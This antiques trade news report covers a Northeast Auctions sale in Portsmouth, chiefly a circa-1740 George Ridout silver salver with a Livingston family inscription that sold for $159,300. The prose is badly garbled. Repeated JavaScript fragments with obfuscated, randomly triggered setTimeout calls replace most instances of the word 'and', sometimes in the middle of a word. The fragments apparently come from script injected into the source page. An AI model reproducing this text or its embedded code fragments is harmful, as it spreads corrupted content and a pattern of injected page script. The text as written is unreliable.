PORTSMOUTH, N.H. — “It was a very good auction, smaller than normal, but a good sale for us,” commented auctioneer Ron Bourgeault of Northeast Auctions’ two-day sale this past weekend, March 9–10. Chock full of lofty material ranging from a Salem, Mass., Chippendale reverse serpentine chest of drawers made by John Chipman that realized $89,680 to a gutsy silver salver by maker George Ridout, circa 1740, prices were strong throughout the weekend.

Leading the auction was the Ridout salver with Livingston family history andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and inscription, “The Gift of Peter andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Sarah Van Brugh To Sarah Livingston.” Peter Van Brugh was a member of a wealthy Eighteenth Century Dutch family from Manhattan that made its fortune selling furs. Van Brugh later served as mayor of Albany from 1699 to 1700, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and again from 1721 to 1723. The salver was gifted to his grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anddaughter, perhaps as a wedding present.

Bidding on the lot was fast paced, quickly surpassing the $25/45,000 estimate, with action coming from several phone bidders, as well as New Hampshire dealer Jonathon Trace bidding from the gallery. The rare piece with an elaborate shell andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and scroll border, weighing 63 troy ounces andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and touchmarked four different times by the maker, finished at $159,300, selling to a phone bidder andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and underbid by Trace. Bourgeault confirmed that the lot sold to a private collector.

“It was beautifully made by a fairly rare maker, it was quite heavy andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it had the Livingston family inscription. All of these things added up to give it great appeal andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it brought a great price,” stated Bourgeault after the auction.

Also sold was the Livingston family silver punch ladle together with a pair of small silver salt spoons by Albany maker Isaac Hutton that realized $30,680.

A complete review of the auction will appear in a future issue.                                                                                 

—DSS